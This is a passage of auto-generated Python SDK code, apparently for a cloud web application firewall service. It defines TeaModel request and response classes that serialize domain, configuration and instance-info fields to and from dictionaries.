None: result['InstanceId'] = self.instance_id if self.domain is not None: result['Domain'] = self.domain return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('Domain') is not None: self.domain = m.get('Domain') return self class DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs(TeaModel): def __init__(self, protocol=None, ports=None): self.protocol = protocol # type: str self.ports = ports # type: str def validate(self): pass def to_map(self): _map = super(DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs, self).to_map() if _map is not None: return _map result = dict() if self.protocol is not None: result['Protocol'] = self.protocol if self.ports is not None: result['Ports'] = self.ports return result def from_map(self, m=None): m = m or dict() if m.get('Protocol') is not None: self.protocol = m.get('Protocol') if m.get('Ports') is not None: self.ports = m.get('Ports') return self class DescribeDomainResponseBodyDomainCloudNativeInstances(TeaModel): def __init__(self, protocol_port_configs=None, redirection_type_name=None, cloud_native_product_name=None, instance_id=None, ipaddress_list=None): self.protocol_port_configs = protocol_port_configs # type: list[DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs] self.redirection_type_name = redirection_type_name # type: str self.cloud_native_product_name = cloud_native_product_name # type: str self.instance_id = instance_id # type: str self.ipaddress_list = ipaddress_list # type: str def validate(self): if self.protocol_port_configs: for k in self.protocol_port_configs: if k: k.validate() def to_map(self): _map = super(DescribeDomainResponseBodyDomainCloudNativeInstances, self).to_map() if _map is not None: return _map result = dict() result['ProtocolPortConfigs'] = [] if self.protocol_port_configs is not None: for k in self.protocol_port_configs: result['ProtocolPortConfigs'].append(k.to_map() if k else None) if self.redirection_type_name is not None: result['RedirectionTypeName'] = self.redirection_type_name if self.cloud_native_product_name is not None: result['CloudNativeProductName'] = self.cloud_native_product_name if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.ipaddress_list is not None: result['IPAddressList'] = self.ipaddress_list return result def from_map(self, m=None): m = m or dict() self.protocol_port_configs = [] if m.get('ProtocolPortConfigs') is not None: for k in m.get('ProtocolPortConfigs'): temp_model = DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs() self.protocol_port_configs.append(temp_model.from_map(k)) if m.get('RedirectionTypeName') is not None: self.redirection_type_name = m.get('RedirectionTypeName') if m.get('CloudNativeProductName') is not None: self.cloud_native_product_name = m.get('CloudNativeProductName') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('IPAddressList') is not None: self.ipaddress_list = m.get('IPAddressList') return self class DescribeDomainResponseBodyDomainLogHeaders(TeaModel): def __init__(self, k=None, v=None): self.k = k # type: str self.v = v # type: str def validate(self): pass def to_map(self): _map = super(DescribeDomainResponseBodyDomainLogHeaders, self).to_map() if _map is not None: return _map result = dict() if self.k is not None: result['k'] = self.k if self.v is not None: result['v'] = self.v return result def from_map(self, m=None): m = m or dict() if m.get('k') is not None: self.k = m.get('k') if m.get('v') is not None: self.v = m.get('v') return self class DescribeDomainResponseBodyDomain(TeaModel): def __init__(self, http_2port=None, cloud_native_instances=None, http_to_user_ip=None, http_port=None, log_headers=None, is_access_product=None, access_headers=None, access_header_mode=None, https_redirect=None, load_balancing=None, ip_follow_status=None, access_type=None, version=None, cluster_type=None, read_time=None, write_time=None, resource_group_id=None, cname=None, source_ips=None, connection_time=None, https_port=None): self.http_2port = http_2port # type: list[str] self.cloud_native_instances = cloud_native_instances # type: list[DescribeDomainResponseBodyDomainCloudNativeInstances] self.http_to_user_ip = http_to_user_ip # type: int self.http_port = http_port # type: list[str] self.log_headers = log_headers # type: list[DescribeDomainResponseBodyDomainLogHeaders] self.is_access_product = is_access_product # type: int self.access_headers = access_headers # type: list[str] self.access_header_mode = access_header_mode # type: int self.https_redirect = https_redirect # type: int self.load_balancing = load_balancing # type: int self.ip_follow_status = ip_follow_status # type: int self.access_type = access_type # type: str self.version = version # type: long self.cluster_type = cluster_type # type: int self.read_time = read_time # type: int self.write_time = write_time # type: int self.resource_group_id = resource_group_id # type: str self.cname = cname # type: str self.source_ips = source_ips # type: list[str] self.connection_time = connection_time # type: int self.https_port = https_port # type: list[str] def validate(self): if self.cloud_native_instances: for k in self.cloud_native_instances: if k: k.validate() if self.log_headers: for k in self.log_headers: if k: k.validate() def to_map(self): _map = super(DescribeDomainResponseBodyDomain, self).to_map() if _map is not None: return _map result = dict() if self.http_2port is not None: result['Http2Port'] = self.http_2port result['CloudNativeInstances'] = [] if self.cloud_native_instances is not None: for k in self.cloud_native_instances: result['CloudNativeInstances'].append(k.to_map() if k else None) if self.http_to_user_ip is not None: result['HttpToUserIp'] = self.http_to_user_ip if self.http_port is not None: result['HttpPort'] = self.http_port result['LogHeaders'] = [] if self.log_headers is not None: for k in self.log_headers: result['LogHeaders'].append(k.to_map() if k else None) if self.is_access_product is not None: result['IsAccessProduct'] = self.is_access_product if self.access_headers is not None: result['AccessHeaders'] = self.access_headers if self.access_header_mode is not None: result['AccessHeaderMode'] = self.access_header_mode if self.https_redirect is not None: result['HttpsRedirect'] = self.https_redirect if self.load_balancing is not None: result['LoadBalancing'] = self.load_balancing if self.ip_follow_status is not None: result['IpFollowStatus'] = self.ip_follow_status if self.access_type is not None: result['AccessType'] = self.access_type if self.version is not None: result['Version'] = self.version if self.cluster_type is not None: result['ClusterType'] = self.cluster_type if self.read_time is not None: result['ReadTime'] = self.read_time if self.write_time is not None: result['WriteTime'] = self.write_time if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id if self.cname is not None: result['Cname'] = self.cname if self.source_ips is not None: result['SourceIps'] = self.source_ips if self.connection_time is not None: result['ConnectionTime'] = self.connection_time if self.https_port is not None: result['HttpsPort'] = self.https_port return result def from_map(self, m=None): m = m or dict() if m.get('Http2Port') is not None: self.http_2port = m.get('Http2Port') self.cloud_native_instances = [] if m.get('CloudNativeInstances') is not None: for k in m.get('CloudNativeInstances'): temp_model = DescribeDomainResponseBodyDomainCloudNativeInstances() self.cloud_native_instances.append(temp_model.from_map(k)) if m.get('HttpToUserIp') is not None: self.http_to_user_ip = m.get('HttpToUserIp') if m.get('HttpPort') is not None: self.http_port = m.get('HttpPort') self.log_headers = [] if m.get('LogHeaders') is not None: for k in m.get('LogHeaders'): temp_model = DescribeDomainResponseBodyDomainLogHeaders() self.log_headers.append(temp_model.from_map(k)) if m.get('IsAccessProduct') is not None: self.is_access_product = m.get('IsAccessProduct') if m.get('AccessHeaders') is not None: self.access_headers = m.get('AccessHeaders') if m.get('AccessHeaderMode') is not None: self.access_header_mode = m.get('AccessHeaderMode') if m.get('HttpsRedirect') is not None: self.https_redirect = m.get('HttpsRedirect') if m.get('LoadBalancing') is not None: self.load_balancing = m.get('LoadBalancing') if m.get('IpFollowStatus') is not None: self.ip_follow_status = m.get('IpFollowStatus') if m.get('AccessType') is not None: self.access_type = m.get('AccessType') if m.get('Version') is not None: self.version = m.get('Version') if m.get('ClusterType') is not None: self.cluster_type = m.get('ClusterType') if m.get('ReadTime') is not None: self.read_time = m.get('ReadTime') if m.get('WriteTime') is not None: self.write_time = m.get('WriteTime') if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') if m.get('Cname') is not None: self.cname = m.get('Cname') if m.get('SourceIps') is not None: self.source_ips = m.get('SourceIps') if m.get('ConnectionTime') is not None: self.connection_time = m.get('ConnectionTime') if m.get('HttpsPort') is not None: self.https_port = m.get('HttpsPort') return self class DescribeDomainResponseBody(TeaModel): def __init__(self, request_id=None, domain=None): self.request_id = request_id # type: str self.domain = domain # type: DescribeDomainResponseBodyDomain def validate(self): if self.domain: self.domain.validate() def to_map(self): _map = super(DescribeDomainResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id if self.domain is not None: result['Domain'] = self.domain.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') if m.get('Domain') is not None: temp_model = DescribeDomainResponseBodyDomain() self.domain = temp_model.from_map(m['Domain']) return self class DescribeDomainResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeDomainResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeDomainResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeDomainResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeDomainAdvanceConfigsRequest(TeaModel): def __init__(self, instance_id=None, domain_list=None, resource_group_id=None): self.instance_id = instance_id # type: str self.domain_list = domain_list # type: str self.resource_group_id = resource_group_id # type: str def validate(self): pass def to_map(self): _map = super(DescribeDomainAdvanceConfigsRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.domain_list is not None: result['DomainList'] = self.domain_list if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('DomainList') is not None: self.domain_list = m.get('DomainList') if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') return self class DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile(TeaModel): def __init__(self, http_2port=None, ipv_6status=None, http_port=None, gslbstatus=None, rs=None, vip_service_status=None, cluster_type=None, exclusive_vip_status=None, cname=None, cert_status=None, https_port=None, resolved_type=None): self.http_2port = http_2port # type: str self.ipv_6status = ipv_6status # type: int self.http_port = http_port # type: str self.gslbstatus = gslbstatus # type: str self.rs = rs # type: str self.vip_service_status = vip_service_status # type: int self.cluster_type = cluster_type # type: int self.exclusive_vip_status = exclusive_vip_status # type: int self.cname = cname # type: str self.cert_status = cert_status # type: int self.https_port = https_port # type: str self.resolved_type = resolved_type # type: int def validate(self): pass def to_map(self): _map = super(DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile, self).to_map() if _map is not None: return _map result = dict() if self.http_2port is not None: result['Http2Port'] = self.http_2port if self.ipv_6status is not None: result['Ipv6Status'] = self.ipv_6status if self.http_port is not None: result['HttpPort'] = self.http_port if self.gslbstatus is not None: result['GSLBStatus'] = self.gslbstatus if self.rs is not None: result['Rs'] = self.rs if self.vip_service_status is not None: result['VipServiceStatus'] = self.vip_service_status if self.cluster_type is not None: result['ClusterType'] = self.cluster_type if self.exclusive_vip_status is not None: result['ExclusiveVipStatus'] = self.exclusive_vip_status if self.cname is not None: result['Cname'] = self.cname if self.cert_status is not None: result['CertStatus'] = self.cert_status if self.https_port is not None: result['HttpsPort'] = self.https_port if self.resolved_type is not None: result['ResolvedType'] = self.resolved_type return result def from_map(self, m=None): m = m or dict() if m.get('Http2Port') is not None: self.http_2port = m.get('Http2Port') if m.get('Ipv6Status') is not None: self.ipv_6status = m.get('Ipv6Status') if m.get('HttpPort') is not None: self.http_port = m.get('HttpPort') if m.get('GSLBStatus') is not None: self.gslbstatus = m.get('GSLBStatus') if m.get('Rs') is not None: self.rs = m.get('Rs') if m.get('VipServiceStatus') is not None: self.vip_service_status = m.get('VipServiceStatus') if m.get('ClusterType') is not None: self.cluster_type = m.get('ClusterType') if m.get('ExclusiveVipStatus') is not None: self.exclusive_vip_status = m.get('ExclusiveVipStatus') if m.get('Cname') is not None: self.cname = m.get('Cname') if m.get('CertStatus') is not None: self.cert_status = m.get('CertStatus') if m.get('HttpsPort') is not None: self.https_port = m.get('HttpsPort') if m.get('ResolvedType') is not None: self.resolved_type = m.get('ResolvedType') return self class DescribeDomainAdvanceConfigsResponseBodyDomainConfigs(TeaModel): def __init__(self, profile=None, domain=None): self.profile = profile # type: DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile self.domain = domain # type: str def validate(self): if self.profile: self.profile.validate() def to_map(self): _map = super(DescribeDomainAdvanceConfigsResponseBodyDomainConfigs, self).to_map() if _map is not None: return _map result = dict() if self.profile is not None: result['Profile'] = self.profile.to_map() if self.domain is not None: result['Domain'] = self.domain return result def from_map(self, m=None): m = m or dict() if m.get('Profile') is not None: temp_model = DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile() self.profile = temp_model.from_map(m['Profile']) if m.get('Domain') is not None: self.domain = m.get('Domain') return self class DescribeDomainAdvanceConfigsResponseBody(TeaModel): def __init__(self, request_id=None, domain_configs=None): self.request_id = request_id # type: str self.domain_configs = domain_configs # type: list[DescribeDomainAdvanceConfigsResponseBodyDomainConfigs] def validate(self): if self.domain_configs: for k in self.domain_configs: if k: k.validate() def to_map(self): _map = super(DescribeDomainAdvanceConfigsResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id result['DomainConfigs'] = [] if self.domain_configs is not None: for k in self.domain_configs: result['DomainConfigs'].append(k.to_map() if k else None) return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') self.domain_configs = [] if m.get('DomainConfigs') is not None: for k in m.get('DomainConfigs'): temp_model = DescribeDomainAdvanceConfigsResponseBodyDomainConfigs() self.domain_configs.append(temp_model.from_map(k)) return self class DescribeDomainAdvanceConfigsResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeDomainAdvanceConfigsResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeDomainAdvanceConfigsResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeDomainAdvanceConfigsResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeDomainBasicConfigsRequest(TeaModel): def __init__(self, instance_id=None, domain_key=None, access_type=None, cloud_native_product_id=None, page_number=None, page_size=None, resource_group_id=None): self.instance_id = instance_id # type: str self.domain_key = domain_key # type: str self.access_type = access_type # type: str self.cloud_native_product_id = cloud_native_product_id # type: int self.page_number = page_number # type: int self.page_size = page_size # type: int self.resource_group_id = resource_group_id # type: str def validate(self): pass def to_map(self): _map = super(DescribeDomainBasicConfigsRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.domain_key is not None: result['DomainKey'] = self.domain_key if self.access_type is not None: result['AccessType'] = self.access_type if self.cloud_native_product_id is not None: result['CloudNativeProductId'] = self.cloud_native_product_id if self.page_number is not None: result['PageNumber'] = self.page_number if self.page_size is not None: result['PageSize'] = self.page_size if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('DomainKey') is not None: self.domain_key = m.get('DomainKey') if m.get('AccessType') is not None: self.access_type = m.get('AccessType') if m.get('CloudNativeProductId') is not None: self.cloud_native_product_id = m.get('CloudNativeProductId') if m.get('PageNumber') is not None: self.page_number = m.get('PageNumber') if m.get('PageSize') is not None: self.page_size = m.get('PageSize') if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') return self class DescribeDomainBasicConfigsResponseBodyDomainConfigs(TeaModel): def __init__(self, status=None, domain=None, owner=None, cc_mode=None, cc_status=None, access_type=None, version=None, acl_status=None, waf_status=None, waf_mode=None): self.status = status # type: int self.domain = domain # type: str self.owner = owner # type: str self.cc_mode = cc_mode # type: int self.cc_status = cc_status # type: int self.access_type = access_type # type: str self.version = version # type: long self.acl_status = acl_status # type: int self.waf_status = waf_status # type: int self.waf_mode = waf_mode # type: int def validate(self): pass def to_map(self): _map = super(DescribeDomainBasicConfigsResponseBodyDomainConfigs, self).to_map() if _map is not None: return _map result = dict() if self.status is not None: result['Status'] = self.status if self.domain is not None: result['Domain'] = self.domain if self.owner is not None: result['Owner'] = self.owner if self.cc_mode is not None: result['CcMode'] = self.cc_mode if self.cc_status is not None: result['CcStatus'] = self.cc_status if self.access_type is not None: result['AccessType'] = self.access_type if self.version is not None: result['Version'] = self.version if self.acl_status is not None: result['AclStatus'] = self.acl_status if self.waf_status is not None: result['WafStatus'] = self.waf_status if self.waf_mode is not None: result['WafMode'] = self.waf_mode return result def from_map(self, m=None): m = m or dict() if m.get('Status') is not None: self.status = m.get('Status') if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('Owner') is not None: self.owner = m.get('Owner') if m.get('CcMode') is not None: self.cc_mode = m.get('CcMode') if m.get('CcStatus') is not None: self.cc_status = m.get('CcStatus') if m.get('AccessType') is not None: self.access_type = m.get('AccessType') if m.get('Version') is not None: self.version = m.get('Version') if m.get('AclStatus') is not None: self.acl_status = m.get('AclStatus') if m.get('WafStatus') is not None: self.waf_status = m.get('WafStatus') if m.get('WafMode') is not None: self.waf_mode = m.get('WafMode') return self class DescribeDomainBasicConfigsResponseBody(TeaModel): def __init__(self, total_count=None, request_id=None, domain_configs=None): self.total_count = total_count # type: int self.request_id = request_id # type: str self.domain_configs = domain_configs # type: list[DescribeDomainBasicConfigsResponseBodyDomainConfigs] def validate(self): if self.domain_configs: for k in self.domain_configs: if k: k.validate() def to_map(self): _map = super(DescribeDomainBasicConfigsResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.total_count is not None: result['TotalCount'] = self.total_count if self.request_id is not None: result['RequestId'] = self.request_id result['DomainConfigs'] = [] if self.domain_configs is not None: for k in self.domain_configs: result['DomainConfigs'].append(k.to_map() if k else None) return result def from_map(self, m=None): m = m or dict() if m.get('TotalCount') is not None: self.total_count = m.get('TotalCount') if m.get('RequestId') is not None: self.request_id = m.get('RequestId') self.domain_configs = [] if m.get('DomainConfigs') is not None: for k in m.get('DomainConfigs'): temp_model = DescribeDomainBasicConfigsResponseBodyDomainConfigs() self.domain_configs.append(temp_model.from_map(k)) return self class DescribeDomainBasicConfigsResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeDomainBasicConfigsResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeDomainBasicConfigsResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeDomainBasicConfigsResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeDomainListRequest(TeaModel): def __init__(self, resource_group_id=None, instance_id=None, domain_name=None, page_number=None, page_size=None, is_sub=None, domain_names=None): self.resource_group_id = resource_group_id # type: str self.instance_id = instance_id # type: str self.domain_name = domain_name # type: str self.page_number = page_number # type: int self.page_size = page_size # type: int self.is_sub = is_sub # type: int self.domain_names = domain_names # type: list[str] def validate(self): pass def to_map(self): _map = super(DescribeDomainListRequest, self).to_map() if _map is not None: return _map result = dict() if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.domain_name is not None: result['DomainName'] = self.domain_name if self.page_number is not None: result['PageNumber'] = self.page_number if self.page_size is not None: result['PageSize'] = self.page_size if self.is_sub is not None: result['IsSub'] = self.is_sub if self.domain_names is not None: result['DomainNames'] = self.domain_names return result def from_map(self, m=None): m = m or dict() if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('DomainName') is not None: self.domain_name = m.get('DomainName') if m.get('PageNumber') is not None: self.page_number = m.get('PageNumber') if m.get('PageSize') is not None: self.page_size = m.get('PageSize') if m.get('IsSub') is not None: self.is_sub = m.get('IsSub') if m.get('DomainNames') is not None: self.domain_names = m.get('DomainNames') return self class DescribeDomainListResponseBody(TeaModel): def __init__(self, total_count=None, request_id=None, domain_names=None): self.total_count = total_count # type: int self.request_id = request_id # type: str self.domain_names = domain_names # type: list[str] def validate(self): pass def to_map(self): _map = super(DescribeDomainListResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.total_count is not None: result['TotalCount'] = self.total_count if self.request_id is not None: result['RequestId'] = self.request_id if self.domain_names is not None: result['DomainNames'] = self.domain_names return result def from_map(self, m=None): m = m or dict() if m.get('TotalCount') is not None: self.total_count = m.get('TotalCount') if m.get('RequestId') is not None: self.request_id = m.get('RequestId') if m.get('DomainNames') is not None: self.domain_names = m.get('DomainNames') return self class DescribeDomainListResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeDomainListResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeDomainListResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeDomainListResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeDomainNamesRequest(TeaModel): def __init__(self, instance_id=None, resource_group_id=None): self.instance_id = instance_id # type: str self.resource_group_id = resource_group_id # type: str def validate(self): pass def to_map(self): _map = super(DescribeDomainNamesRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') return self class DescribeDomainNamesResponseBody(TeaModel): def __init__(self, request_id=None, domain_names=None): self.request_id = request_id # type: str self.domain_names = domain_names # type: list[str] def validate(self): pass def to_map(self): _map = super(DescribeDomainNamesResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id if self.domain_names is not None: result['DomainNames'] = self.domain_names return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') if m.get('DomainNames') is not None: self.domain_names = m.get('DomainNames') return self class DescribeDomainNamesResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeDomainNamesResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeDomainNamesResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeDomainNamesResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeDomainRuleGroupRequest(TeaModel): def __init__(self, domain=None, instance_id=None): self.domain = domain # type: str self.instance_id = instance_id # type: str def validate(self): pass def to_map(self): _map = super(DescribeDomainRuleGroupRequest, self).to_map() if _map is not None: return _map result = dict() if self.domain is not None: result['Domain'] = self.domain if self.instance_id is not None: result['InstanceId'] = self.instance_id return result def from_map(self, m=None): m = m or dict() if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') return self class DescribeDomainRuleGroupResponseBody(TeaModel): def __init__(self, rule_group_id=None, request_id=None): self.rule_group_id = rule_group_id # type: long self.request_id = request_id # type: str def validate(self): pass def to_map(self): _map = super(DescribeDomainRuleGroupResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.rule_group_id is not None: result['RuleGroupId'] = self.rule_group_id if self.request_id is not None: result['RequestId'] = self.request_id return result def from_map(self, m=None): m = m or dict() if m.get('RuleGroupId') is not None: self.rule_group_id = m.get('RuleGroupId') if m.get('RequestId') is not None: self.request_id = m.get('RequestId') return self class DescribeDomainRuleGroupResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeDomainRuleGroupResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeDomainRuleGroupResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeDomainRuleGroupResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeInstanceInfoRequest(TeaModel): def __init__(self, instance_id=None, resource_group_id=None): self.instance_id = instance_id # type: str self.resource_group_id = resource_group_id # type: str def validate(self): pass def to_map(self): _map = super(DescribeInstanceInfoRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') return self class DescribeInstanceInfoResponseBodyInstanceInfo(TeaModel): def __init__(self, status=None, end_date=None, version=None, remain_day=None, region=None, pay_type=None, in_debt=None, instance_id=None, subscription_type=None, trial=None): self.status = status # type: int self.end_date = end_date # type: long self.version = version # type: str self.remain_day = remain_day # type: int self.region = region # type: str self.pay_type = pay_type # type: int self.in_debt = in_debt # type: int self.instance_id = instance_id # type: str self.subscription_type = subscription_type # type: str self.trial = trial # type: int def validate(self): pass def to_map(self): _map = super(DescribeInstanceInfoResponseBodyInstanceInfo, self).to_map() if _map is not None: return _map result = dict() if self.status is not None: result['Status'] = self.status if self.end_date is not None: result['EndDate'] = self.end_date if self.version is not None: result['Version'] = self.version if self.remain_day is not None: result['RemainDay'] = self.remain_day if self.region is not None: result['Region'] = self.region if self.pay_type is not None: result['PayType'] = self.pay_type if self.in_debt is not None: result['InDebt'] = self.in_debt if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.subscription_type is not None: result['SubscriptionType'] = self.subscription_type if self.trial is not None: result['Trial'] = self.trial return result def from_map(self, m=None): m = m or dict() if m.get('Status') is not None: self.status = m.get('Status') if m.get('EndDate') is not None: self.end_date = m.get('EndDate') if m.get('Version') is not None: self.version = m.get('Version') if m.get('RemainDay') is not None: self.remain_day = m.get('RemainDay') if m.get('Region') is not None: self.region = m.get('Region') if m.get('PayType') is not None: self.pay_type = m.get('PayType') if m.get('InDebt') is not None: self.in_debt = m.get('InDebt') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('SubscriptionType') is not None: self.subscription_type = m.get('SubscriptionType') if m.get('Trial') is not None: self.trial = m.get('Trial') return self class DescribeInstanceInfoResponseBody(TeaModel): def __init__(self, request_id=None, instance_info=None): self.request_id = request_id # type: str self.instance_info = instance_info # type: DescribeInstanceInfoResponseBodyInstanceInfo def validate(self): if self.instance_info: self.instance_info.validate() def to_map(self): _map = super(DescribeInstanceInfoResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id if self.instance_info is not None: result['InstanceInfo'] = self.instance_info.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') if m.get('InstanceInfo') is not None: temp_model = DescribeInstanceInfoResponseBodyInstanceInfo() self.instance_info = temp_model.from_map(m['InstanceInfo']) return self class DescribeInstanceInfoResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeInstanceInfoResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeInstanceInfoResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeInstanceInfoResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeInstanceInfosRequest(TeaModel): def __init__(self, instance_source=None, instance_id=None, resource_group_id=None): self.instance_source = instance_source # type: str self.instance_id = instance_id # type: str self.resource_group_id = resource_group_id # type: str def validate(self): pass def to_map(self): _map = super(DescribeInstanceInfosRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_source is not None: result['InstanceSource'] = self.instance_source if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id return result def from_map(self, m=None): m = m or dict() if m.get('InstanceSource') is not None: self.instance_source = m.get('InstanceSource') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') return self class DescribeInstanceInfosResponseBodyInstanceInfos(TeaModel): def __init__(self, status=None, end_date=None, remain_day=None, region=None, pay_type=None, in_debt=None, instance_id=None, subscription_type=None, trial=None): self.status = status # type: int self.end_date = end_date # type: long self.remain_day = remain_day # type: int self.region = region # type: str self.pay_type = pay_type # type: int self.in_debt = in_debt # type: int self.instance_id = instance_id # type: str self.subscription_type = subscription_type # type: str self.trial = trial # type: int def validate(self): pass def to_map(self): _map = super(DescribeInstanceInfosResponseBodyInstanceInfos, self).to_map() if _map is not None: return _map result = dict() if self.status is not None: result['Status'] = self.status if self.end_date is not None: result['EndDate'] = self.end_date if self.remain_day is not None: result['RemainDay'] = self.remain_day if self.region is not None: result['Region'] = self.region if self.pay_type is not None: 